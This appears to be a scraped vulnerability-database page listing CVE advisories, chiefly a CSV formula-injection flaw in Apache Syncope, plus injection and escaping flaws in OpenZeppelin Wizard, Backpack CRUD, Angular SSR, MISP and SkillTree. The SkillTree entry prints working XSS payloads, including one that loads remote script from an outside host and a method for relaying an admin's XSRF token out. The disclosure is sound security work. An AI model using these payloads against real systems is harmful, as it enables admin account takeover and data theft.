CVE-2026-73195
Improper Encoding or Escaping of Output vulnerability in Apache Syncope. Authenticated users can store a spreadsheet formula payload in o
CVSS
7.3
High
EPSS
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KEV
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Exploit Today
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0-100
Published: Sep 14, 2026 · Last modified: Sep 14, 2026 · CWE-116
Not enough EPSS history yet.
Improper Encoding or Escaping of Output vulnerability in Apache Syncope. Authenticated users can store a spreadsheet formula payload in one of their own plain attributes. When such users are included in a CSV export and the generated CSV file is opened by a spreadsheet application, the formula may be executed. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.
CVECVSSEPSSKEVRExploitTitleMod.
CVE-2026-575833.3 LOW—
———OpenZeppelin Contracts Wizard is a web application to interactively build a contract out of components from OpenZeppelin Contracts. Prior to @openzeppelin/wizard 0.10.11, @openzeppelin/wizard-cairo 3.0.1, @openzeppelin/wizard-stellar 0.6.2, and @openzeppelin/wizard-stylus 0.3.1, the setInfo code path prints info.securityContact and info.license verbatim into single-line comments in generated Solidity, Cairo, Stellar/Soroban, and Stylus source. A line terminator ends the comment and causes following input to be emitted as source declarations. Exploitation requires an integration to populate these fields from untrusted input and a user to consume the generated source; normal self-service web, AI assistant, CLI, and self-hosted API use does not cross that trust boundary, shared links cannot set the fields, and no code executes on a Wizard service. This issue affects generated-source integrity only and is fixed in versions 0.10.11, 3.0.1, 0.6.2, and 0.3.1 of the respective packages.6hCVE-2026-541828.1 HIG—
———backpack/crud provides Create, Read, Update & Delete (CRUD) functions for Backpack, a collection of Laravel packages that help users build custom administration panels. Prior to 4.1.70, 5.6.2, 6.8.13, and 7.0.36, Backpack\CRUD\Stats::makeCurlRequest in src/Stats.php is reached from BackpackServiceProvider::boot() and constructs a shell command with a URL influenced by the HTTP Host header, which it passes to exec() without adequate shell neutralization. An unauthenticated attacker whose malformed Host value reaches PHP can inject operating-system commands when exec() and curl are available and the 1-in-100 random gate is reached. Repeated requests can reach the random gate. Successful exploitation executes commands as the web-server user, exposing environment secrets, files, and reachable services and permitting data modification or service disruption. Common reverse-proxy Host validation and hardened PHP configurations that disable exec() reduce reachability but do not correct the vulnerable construction. This issue is fixed in versions 4.1.70, 5.6.2, 6.8.13, and 7.0.36.6hCVE-2026-88060—51.0%
——15Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular server-side rendering (SSR) in @angular/platform-server serializes untrusted input inside template content nested in fallback raw-content elements such as noscript, iframe, noembed, and noframes. The Domino serializer's fallbackRawContentTags traversal stopped at the DocumentFragment used by template.content, so matching closing tags in xmp, style, script, comments, or text nodes were not escaped. Standard interpolation with comments or text nodes is reachable without relaxed schemas; literal xmp or style requires CUSTOM_ELEMENTS_SCHEMA or NO_ERRORS_SCHEMA, while Renderer2 imperative DOM construction is unconditionally affected. When HTML5 RAWTEXT browser parsing encounters the unescaped closing tag, it exits the fallback container and interprets trailing markup as active DOM elements, enabling arbitrary JavaScript execution. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.4dCVE-2026-88058—41.2%
——12Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular server-side rendering (SSR) in @angular/platform-server serializes ProcessingInstruction DOM nodes inside fallback raw-content elements without escaping matching ancestor closing tags. ProcessingInstruction data escaped greater-than characters but left less-than characters untouched and did not inspect fallback ancestors, so data such as a matching closing tag prematurely terminates noscript, iframe, noembed, or noframes containers. The vulnerable nodes cannot be authored through standard Angular templates; reachability requires application or library code using inject(DOCUMENT).createProcessingInstruction with attacker-controlled data or Renderer2 DOM insertion inside a fallback container. In HTML5 RAWTEXT parsing, the premature close causes subsequent sibling elements to be interpreted as live HTML and enables arbitrary JavaScript execution in a victim's browser. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.3dCVE-2026-88921—29.2%
——9MISP contains an HTML injection vulnerability in the MISPElementHTMLFormatterTool component, which is responsible for rendering MISP element references (attributes, objects, and tags) into inline HTML during PDF report export via the convert_markdown_to_pdf module. The attribute(), objectAttribute(), object(), and tag() methods interpolated user-controlled fields (attribute type, attribute value, object name, object relation, tag name, tag colour, and tag text colour) directly into HTML templates without applying HTML entity encoding. An authenticated user with the ability to create or modify MISP attributes, objects, or tags could embed arbitrary HTML markup in these fields. When a report containing such elements was exported to PDF, the unescaped content was rendered as live HTML rather than inert text, potentially injecting script tags, breaking the document structure, or altering the visual content of the exported report. Additionally, the attribute() method contained a template with hardcoded sample values ("domain-ip" and "google.com") instead of format placeholders, meaning every plain attribute reference in a PDF displayed the sample text rather than the actual indicator value, constituting a data-integrity defect in the exported document. The vulnerability requires an authenticated actor with write access to MISP elements and a subsequent PDF export of a report referencing those elements. The security impact is primarily to the integrity of the exported document and, depending on the HTML-to-PDF rendering engine, potential execution of injected markup during the conversion step.
Version affected: ≤2.5.454dCVE-2026-546949.6 CRI20.6%
——6SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. `StringHighlighter.js` builds an HTML string by interpolating raw `value` substrings directly into a template literal with no HTML entity encoding. `HighlightedValue.vue` renders that string — and all unfiltered plain values — via Vue's `v-html` directive, which sets `innerHTML`. Separately, the account registration endpoint accepts `firstName`, `lastName`, and `nickname` fields and stores them without any HTML sanitization. An attacker self-registers with `firstName = "<img src=x onerror=alert(1)>"` (28 characters — within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. `<img src=x onerror=alert(1)>`, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin's browser is confirmed with zero extra steps. The second is remote script loading via `import()`. Using the split-field technique (`lastName = "<img src=x"`, `firstName = "onerror=import('//nsas.cc/p')>"`), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action — delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (`//nsas.cc/p`). The third is full cross-site request forgery token theft. Using `eval(name)`, the attacker pre-sets `window.name` to a data-theft payload by sending the admin one redirect link first. The session cookie is `HttpOnly` and cannot be read via `document.cookie`; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim's browser, relaying the responses to an external server. No admin interaction beyond routine use is required. Version 4.4.2 contains a patch.4d